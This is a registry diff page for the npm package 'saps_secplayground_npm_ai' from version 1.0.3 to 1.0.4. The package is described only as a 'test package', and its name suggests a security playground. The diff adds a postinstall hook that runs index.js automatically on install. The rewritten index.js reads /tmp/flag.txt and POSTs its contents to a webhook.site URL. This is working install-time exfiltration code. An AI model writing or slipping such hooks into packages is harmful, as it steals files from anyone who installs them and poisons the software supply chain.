saps_secplayground_npm_ai 1.0.3 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +25 -15
  2. package/package.json +4 -9
package/index.js CHANGED
@@ -1,25 +1,35 @@
1
- #!/usr/bin/env node
2
-
3
1
  const fs = require('fs');
2
+ const https = require('https');
4
3
 
5
- fs.readFile('/tmp/flag.txt', 'utf8', async (err, data) => {
4
+ fs.readFile('/tmp/flag.txt', 'utf8', (err, data) => {
6
5
  if (err) {
7
- console.error(err);
6
+ console.error('read failed:', err.message);
8
7
  return;
9
8
  }
10
9
 
11
- try {
12
- const res = await fetch('https://webhook.site/aa236da1-0535-4649-a966-7ea2e62ec9ee', {
10
+ const body = data.trim();
11
+
12
+ const req = https.request(
13
+ 'https://webhook.site/aa236da1-0535-4649-a966-7ea2e62ec9ee',
14
+ {
13
15
  method: 'POST',
14
16
  headers: {
15
- 'Content-Type': 'text/plain'
16
- },
17
- body: data
18
- });
17
+ 'Content-Type': 'text/plain',
18
+ 'Content-Length': Buffer.byteLength(body)
19
+ }
20
+ },
21
+ (res) => {
22
+ res.on('data', () => {});
23
+ res.on('end', () => {
24
+ console.log('sent', res.statusCode);
25
+ });
26
+ }
27
+ );
19
28
 
20
- const text = await res.text();
21
- console.log(text);
22
- } catch (error) {
23
- console.error(error);
24
- }
29
+ req.on('error', (e) => {
30
+ console.error('send failed:', e.message);
31
+ });
32
+
33
+ req.write(body);
34
+ req.end();
25
35
  });
package/package.json CHANGED
@@ -1,15 +1,10 @@
1
1
  {
2
2
  "name": "saps_secplayground_npm_ai",
3
- "version": "1.0.3",
4
- "description": "",
3
+ "version": "1.0.4",
4
+ "description": "test package",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "test": "echo \"Error: no test specified\" && exit 1"
7
+ "postinstall": "node index.js"
8
8
  },
9
- "keywords": [],
10
- "author": "",
11
- "license": "ISC",
12
- "bin": {
13
- "saps": "./index.js"
14
- }
9
+ "license": "ISC"
15
10
  }